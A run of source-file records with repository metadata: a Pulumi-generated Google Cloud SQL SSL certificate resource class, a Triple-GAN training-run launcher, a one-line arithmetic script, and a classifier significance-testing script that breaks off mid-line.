af6681d70ea457843409110c1324817fe55f68ad
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_gcp/sql/ssl_cert.py
sisisin/pulumi-gcp
af6681d70ea457843409110c1324817fe55f68ad
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities __all__ = ['SslCertArgs', 'SslCert'] @pulumi.input_type class SslCertArgs: def __init__(__self__, *, common_name: pulumi.Input[str], instance: pulumi.Input[str], project: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a SslCert resource. :param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. :param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this forces a new resource to be created. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ pulumi.set(__self__, "common_name", common_name) pulumi.set(__self__, "instance", instance) if project is not None: pulumi.set(__self__, "project", project) @property @pulumi.getter(name="commonName") def common_name(self) -> pulumi.Input[str]: """ The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. """ return pulumi.get(self, "common_name") @common_name.setter def common_name(self, value: pulumi.Input[str]): pulumi.set(self, "common_name", value) @property @pulumi.getter def instance(self) -> pulumi.Input[str]: """ The name of the Cloud SQL instance. Changing this forces a new resource to be created. """ return pulumi.get(self, "instance") @instance.setter def instance(self, value: pulumi.Input[str]): pulumi.set(self, "instance", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @pulumi.input_type class _SslCertState: def __init__(__self__, *, cert: Optional[pulumi.Input[str]] = None, cert_serial_number: Optional[pulumi.Input[str]] = None, common_name: Optional[pulumi.Input[str]] = None, create_time: Optional[pulumi.Input[str]] = None, expiration_time: Optional[pulumi.Input[str]] = None, instance: Optional[pulumi.Input[str]] = None, private_key: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, server_ca_cert: Optional[pulumi.Input[str]] = None, sha1_fingerprint: Optional[pulumi.Input[str]] = None): """ Input properties used for looking up and filtering SslCert resources. :param pulumi.Input[str] cert: The actual certificate data for this client certificate. :param pulumi.Input[str] cert_serial_number: The serial number extracted from the certificate data. :param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. :param pulumi.Input[str] create_time: The time when the certificate was created in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. :param pulumi.Input[str] expiration_time: The time when the certificate expires in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. :param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this forces a new resource to be created. :param pulumi.Input[str] private_key: The private key associated with the client certificate. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[str] server_ca_cert: The CA cert of the server this client cert was generated from. :param pulumi.Input[str] sha1_fingerprint: The SHA1 Fingerprint of the certificate. """ if cert is not None: pulumi.set(__self__, "cert", cert) if cert_serial_number is not None: pulumi.set(__self__, "cert_serial_number", cert_serial_number) if common_name is not None: pulumi.set(__self__, "common_name", common_name) if create_time is not None: pulumi.set(__self__, "create_time", create_time) if expiration_time is not None: pulumi.set(__self__, "expiration_time", expiration_time) if instance is not None: pulumi.set(__self__, "instance", instance) if private_key is not None: pulumi.set(__self__, "private_key", private_key) if project is not None: pulumi.set(__self__, "project", project) if server_ca_cert is not None: pulumi.set(__self__, "server_ca_cert", server_ca_cert) if sha1_fingerprint is not None: pulumi.set(__self__, "sha1_fingerprint", sha1_fingerprint) @property @pulumi.getter def cert(self) -> Optional[pulumi.Input[str]]: """ The actual certificate data for this client certificate. """ return pulumi.get(self, "cert") @cert.setter def cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cert", value) @property @pulumi.getter(name="certSerialNumber") def cert_serial_number(self) -> Optional[pulumi.Input[str]]: """ The serial number extracted from the certificate data. """ return pulumi.get(self, "cert_serial_number") @cert_serial_number.setter def cert_serial_number(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "cert_serial_number", value) @property @pulumi.getter(name="commonName") def common_name(self) -> Optional[pulumi.Input[str]]: """ The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. """ return pulumi.get(self, "common_name") @common_name.setter def common_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "common_name", value) @property @pulumi.getter(name="createTime") def create_time(self) -> Optional[pulumi.Input[str]]: """ The time when the certificate was created in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. """ return pulumi.get(self, "create_time") @create_time.setter def create_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "create_time", value) @property @pulumi.getter(name="expirationTime") def expiration_time(self) -> Optional[pulumi.Input[str]]: """ The time when the certificate expires in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. """ return pulumi.get(self, "expiration_time") @expiration_time.setter def expiration_time(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "expiration_time", value) @property @pulumi.getter def instance(self) -> Optional[pulumi.Input[str]]: """ The name of the Cloud SQL instance. Changing this forces a new resource to be created. """ return pulumi.get(self, "instance") @instance.setter def instance(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "instance", value) @property @pulumi.getter(name="privateKey") def private_key(self) -> Optional[pulumi.Input[str]]: """ The private key associated with the client certificate. """ return pulumi.get(self, "private_key") @private_key.setter def private_key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "private_key", value) @property @pulumi.getter def project(self) -> Optional[pulumi.Input[str]]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @project.setter def project(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "project", value) @property @pulumi.getter(name="serverCaCert") def server_ca_cert(self) -> Optional[pulumi.Input[str]]: """ The CA cert of the server this client cert was generated from. """ return pulumi.get(self, "server_ca_cert") @server_ca_cert.setter def server_ca_cert(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_ca_cert", value) @property @pulumi.getter(name="sha1Fingerprint") def sha1_fingerprint(self) -> Optional[pulumi.Input[str]]: """ The SHA1 Fingerprint of the certificate. """ return pulumi.get(self, "sha1_fingerprint") @sha1_fingerprint.setter def sha1_fingerprint(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "sha1_fingerprint", value) class SslCert(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, common_name: Optional[pulumi.Input[str]] = None, instance: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None): """ Creates a new Google SQL SSL Cert on a Google SQL Instance. For more information, see the [official documentation](https://cloud.google.com/sql/), or the [JSON API](https://cloud.google.com/sql/docs/mysql/admin-api/v1beta4/sslCerts). ## Example Usage Example creating a SQL Client Certificate. ```python import pulumi import pulumi_gcp as gcp import pulumi_random as random db_name_suffix = random.RandomId("dbNameSuffix", byte_length=4) master = gcp.sql.DatabaseInstance("master", settings=gcp.sql.DatabaseInstanceSettingsArgs( tier="db-f1-micro", )) client_cert = gcp.sql.SslCert("clientCert", common_name="client-name", instance=master.name) ``` ## Import Since the contents of the certificate cannot be accessed after its creation, this resource cannot be imported. :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. :param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this forces a new resource to be created. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ ... @overload def __init__(__self__, resource_name: str, args: SslCertArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Creates a new Google SQL SSL Cert on a Google SQL Instance. For more information, see the [official documentation](https://cloud.google.com/sql/), or the [JSON API](https://cloud.google.com/sql/docs/mysql/admin-api/v1beta4/sslCerts). ## Example Usage Example creating a SQL Client Certificate. ```python import pulumi import pulumi_gcp as gcp import pulumi_random as random db_name_suffix = random.RandomId("dbNameSuffix", byte_length=4) master = gcp.sql.DatabaseInstance("master", settings=gcp.sql.DatabaseInstanceSettingsArgs( tier="db-f1-micro", )) client_cert = gcp.sql.SslCert("clientCert", common_name="client-name", instance=master.name) ``` ## Import Since the contents of the certificate cannot be accessed after its creation, this resource cannot be imported. :param str resource_name: The name of the resource. :param SslCertArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(SslCertArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, common_name: Optional[pulumi.Input[str]] = None, instance: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = SslCertArgs.__new__(SslCertArgs) if common_name is None and not opts.urn: raise TypeError("Missing required property 'common_name'") __props__.__dict__["common_name"] = common_name if instance is None and not opts.urn: raise TypeError("Missing required property 'instance'") __props__.__dict__["instance"] = instance __props__.__dict__["project"] = project __props__.__dict__["cert"] = None __props__.__dict__["cert_serial_number"] = None __props__.__dict__["create_time"] = None __props__.__dict__["expiration_time"] = None __props__.__dict__["private_key"] = None __props__.__dict__["server_ca_cert"] = None __props__.__dict__["sha1_fingerprint"] = None super(SslCert, __self__).__init__( 'gcp:sql/sslCert:SslCert', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, cert: Optional[pulumi.Input[str]] = None, cert_serial_number: Optional[pulumi.Input[str]] = None, common_name: Optional[pulumi.Input[str]] = None, create_time: Optional[pulumi.Input[str]] = None, expiration_time: Optional[pulumi.Input[str]] = None, instance: Optional[pulumi.Input[str]] = None, private_key: Optional[pulumi.Input[str]] = None, project: Optional[pulumi.Input[str]] = None, server_ca_cert: Optional[pulumi.Input[str]] = None, sha1_fingerprint: Optional[pulumi.Input[str]] = None) -> 'SslCert': """ Get an existing SslCert resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[str] cert: The actual certificate data for this client certificate. :param pulumi.Input[str] cert_serial_number: The serial number extracted from the certificate data. :param pulumi.Input[str] common_name: The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. :param pulumi.Input[str] create_time: The time when the certificate was created in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. :param pulumi.Input[str] expiration_time: The time when the certificate expires in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. :param pulumi.Input[str] instance: The name of the Cloud SQL instance. Changing this forces a new resource to be created. :param pulumi.Input[str] private_key: The private key associated with the client certificate. :param pulumi.Input[str] project: The ID of the project in which the resource belongs. If it is not provided, the provider project is used. :param pulumi.Input[str] server_ca_cert: The CA cert of the server this client cert was generated from. :param pulumi.Input[str] sha1_fingerprint: The SHA1 Fingerprint of the certificate. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _SslCertState.__new__(_SslCertState) __props__.__dict__["cert"] = cert __props__.__dict__["cert_serial_number"] = cert_serial_number __props__.__dict__["common_name"] = common_name __props__.__dict__["create_time"] = create_time __props__.__dict__["expiration_time"] = expiration_time __props__.__dict__["instance"] = instance __props__.__dict__["private_key"] = private_key __props__.__dict__["project"] = project __props__.__dict__["server_ca_cert"] = server_ca_cert __props__.__dict__["sha1_fingerprint"] = sha1_fingerprint return SslCert(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def cert(self) -> pulumi.Output[str]: """ The actual certificate data for this client certificate. """ return pulumi.get(self, "cert") @property @pulumi.getter(name="certSerialNumber") def cert_serial_number(self) -> pulumi.Output[str]: """ The serial number extracted from the certificate data. """ return pulumi.get(self, "cert_serial_number") @property @pulumi.getter(name="commonName") def common_name(self) -> pulumi.Output[str]: """ The common name to be used in the certificate to identify the client. Constrained to [a-zA-Z.-_ ]+. Changing this forces a new resource to be created. """ return pulumi.get(self, "common_name") @property @pulumi.getter(name="createTime") def create_time(self) -> pulumi.Output[str]: """ The time when the certificate was created in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. """ return pulumi.get(self, "create_time") @property @pulumi.getter(name="expirationTime") def expiration_time(self) -> pulumi.Output[str]: """ The time when the certificate expires in RFC 3339 format, for example 2012-11-15T16:19:00.094Z. """ return pulumi.get(self, "expiration_time") @property @pulumi.getter def instance(self) -> pulumi.Output[str]: """ The name of the Cloud SQL instance. Changing this forces a new resource to be created. """ return pulumi.get(self, "instance") @property @pulumi.getter(name="privateKey") def private_key(self) -> pulumi.Output[str]: """ The private key associated with the client certificate. """ return pulumi.get(self, "private_key") @property @pulumi.getter def project(self) -> pulumi.Output[str]: """ The ID of the project in which the resource belongs. If it is not provided, the provider project is used. """ return pulumi.get(self, "project") @property @pulumi.getter(name="serverCaCert") def server_ca_cert(self) -> pulumi.Output[str]: """ The CA cert of the server this client cert was generated from. """ return pulumi.get(self, "server_ca_cert") @property @pulumi.getter(name="sha1Fingerprint") def sha1_fingerprint(self) -> pulumi.Output[str]: """ The SHA1 Fingerprint of the certificate. """ return pulumi.get(self, "sha1_fingerprint")
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0.721109
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0.677221
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false
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966f8a75cdc48080c6faf652c15988e57c380215
9,957
py
Python
tunner.py
AmirHosseinAmeli/Triple-GAN
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
[ "MIT" ]
29
2020-09-03T08:35:47.000Z
2022-02-10T18:39:29.000Z
tunner.py
AmirHosseinAmeli/Triple-GAN
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
[ "MIT" ]
6
2020-12-22T14:43:14.000Z
2022-03-12T00:55:24.000Z
tunner.py
AmirHosseinAmeli/Triple-GAN
127948d9e22767d315a4b3ca58fc4a56d92ff9d3
[ "MIT" ]
8
2020-10-01T04:03:40.000Z
2022-03-21T10:23:40.000Z
import os import multiprocessing import time import itertools # Args gpu_list = [0, 1, 2, 3] args_fortune = { "TUNNER_groups": [ "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 2 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 0 -c_loss mtssl ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 2 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 500 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 800 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1001 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1002 -translate 0 -c_loss loss_elr_wrap ", "python train_classifier_elr.py ./configs/classifier_svhn_mt_aug_elr.yaml -subfolder elr_baseline -n_labels 1000 -ssl_seed 1003 -translate 0 -c_loss loss_elr_wrap ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1001 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1002 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1003 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1001 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1002 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1003 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1001 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1002 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1003 -translate 2 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1001 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1002 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 500 -ssl_seed 1003 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1001 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1002 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 800 -ssl_seed 1003 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1001 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1002 -translate 0 ", "python train_triplegan_elr.py ./configs/triple_gan_svhn_noaug_elr.yaml -subfolder elr_tgan -n_labels 1000 -ssl_seed 1003 -translate 0 ", ], "subfolder": ["ELR_SVHN"], } command_template = "" key_sequence = [] for k in args_fortune: key_sequence.append(k) if k == "config_file" or "TUNNER" in k: command_template += " {}" else: command_template += " -" + k + " {}" print(command_template, key_sequence) possible_value = [] for k in key_sequence: possible_value.append(args_fortune[k]) commands = [] for args in itertools.product(*possible_value): commands.append(command_template.format(*args)) print("# experiments = {}".format(len(commands))) gpus = multiprocessing.Manager().list(gpu_list) proc_to_gpu_map = multiprocessing.Manager().dict() def exp_runner(cmd): process_id = multiprocessing.current_process().name if process_id not in proc_to_gpu_map: proc_to_gpu_map[process_id] = gpus.pop() print("assign gpu {} to {}".format(proc_to_gpu_map[process_id], process_id)) gpuid = proc_to_gpu_map[process_id] return os.system(cmd + " -gpu {} -key {}".format(gpuid, gpuid)) p = multiprocessing.Pool(processes=len(gpus)) rets = p.map(exp_runner, commands) print(rets)
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0.77664
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9,957
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0.059164
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8
966fd71bf071f2dd4d34f0941b9862ddb3a1afbb
27
py
Python
stepik/67/2228/step_5/script.py
tshemake/Software-Development
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
[ "Unlicense" ]
null
null
null
stepik/67/2228/step_5/script.py
tshemake/Software-Development
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
[ "Unlicense" ]
null
null
null
stepik/67/2228/step_5/script.py
tshemake/Software-Development
e6dff82dffa49e66dc5fa5650af775437ebb6a9b
[ "Unlicense" ]
null
null
null
print(42 / (4 + 2 * (-2)))
13.5
26
0.37037
5
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7
9690daeefa749da85ab537df7e53af1083aa6ce2
8,613
py
Python
terra/signifigance_testing.py
siddharthvaria/GI-DL
715b5fe4426d737ed1b23ffbb812058a90433682
[ "MIT" ]
2
2018-05-20T02:37:22.000Z
2020-12-24T19:46:46.000Z
terra/signifigance_testing.py
siddharthvaria/GI-DL
715b5fe4426d737ed1b23ffbb812058a90433682
[ "MIT" ]
null
null
null
terra/signifigance_testing.py
siddharthvaria/GI-DL
715b5fe4426d737ed1b23ffbb812058a90433682
[ "MIT" ]
null
null
null
import scipy from features import train_tagger import sys sys.path.append('code/classification') from classification import classify from tools import * def write_out_predictions(pred, filename): output = open(filename, 'w') for p in pred: output.write(str(p)+'\n') output.close() #if using outside package: java de/pado/sigf/AverageART ../sig_test/CC_aggress_a ../sig_test/CC_aggress_b 100 pos_tagger = train_tagger() model1 = 'svm' model2 = 'svm' full_train_data = 'data/_train/train_full.csv' loss_aggress_train_data = 'data/_train/train_aggress_loss.csv' pred_dev_data = 'results/predictions/dev_sig_predictions.csv' dev_data = 'data/_test/test_full.csv' #CC - aggression labels_1 = 'loss_aggress' labels_2 = 'aggress' k1 = 800 k2 = 1500 feats_1 = [1, 1, 'b', 0, 'none', k1] feats_2 = [1, 1, 'n', 0, 'min_max/all', k2] C1 = 0.5 C2 = 0.3 loss1 = 'hinge' loss2 = 'hinge' sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions = classify(full_train_data, dev_data, model1, labels_1, feats_1, pos_tagger=pos_tagger, C=C1, svm_loss=loss1) #save predictions to file all_test_tweets = read_in_data(dev_data) predicted_test_tweets = [] for i in range(0, len(predictions)): if predictions[i] == 1: predicted_test_tweets.append(all_test_tweets[i]) write_out_data(predicted_test_tweets, pred_dev_data) sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions2 = classify(loss_aggress_train_data, pred_dev_data, model2, labels_2, feats_2, pos_tagger=pos_tagger, C=C2, svm_loss=loss2) a = [] c = 0 for i in range(0, len(predictions)): if predictions[i] == 1: a.append(predictions2[c]) c += 1 else: a.append(0) #BCF - aggression (unigram model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'aggress' feats = [1, 0, 'n', 0, 'n', 1500] C=0.4 loss = 'hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print scipy.stats.ttest_ind(a, b) print 'p value of CC aggression = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 'results/significance_testing/CC_aggress_a') write_out_predictions(b, 'results/significance_testing/CC_aggress_b') #CC - loss labels_1 = 'loss_aggress' labels_2 = 'loss' k1 = 800 k2 = 1000 feats_1 = [1, 1, 'b', 0, 'none', k1] feats_2 = [1, 0, 'u', 0, 'min_max/all', k2] C1 = 0.5 C2 = 0.3 loss1 = 'hinge' loss2 = 'hinge' sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions = classify(full_train_data, dev_data, model1, labels_1, feats_1, pos_tagger=pos_tagger, C=C1, svm_loss=loss1) #save predictions to file all_test_tweets = read_in_data(dev_data) predicted_test_tweets = [] for i in range(0, len(predictions)): if predictions[i] == 1: predicted_test_tweets.append(all_test_tweets[i]) write_out_data(predicted_test_tweets, pred_dev_data) sought_p, sought_r, sought_f1, nsought_p, nsought_r, nsought_f1, predictions2 = classify(loss_aggress_train_data, pred_dev_data, model2, labels_2, feats_2, pos_tagger=pos_tagger, C=C2, svm_loss=loss2) a = [] c = 0 for i in range(0, len(predictions)): if predictions[i] == 1: a.append(predictions2[c]) c += 1 else: a.append(0) #BCF - loss (unigram model) train_file = 'data/_train/train_full.csv' dev_file = 'data/_test/test_full.csv' model = 'svm' label = 'loss' feats = [1, 0, 'n', 0, 'none', 700] C=0.4 loss = 'squared_hinge' results = classify(train_file, dev_file, model, label, feats=feats, pos_tagger=pos_tagger, C=C, svm_loss=loss) b = results[-1] print len(a) #TESTING print len(b) #TESTING print scipy.stats.ttest_ind(a, b) print 'p value of CC loss = '+str(scipy.stats.ttest_ind(a, b)[1]) print write_out_predictions(a, 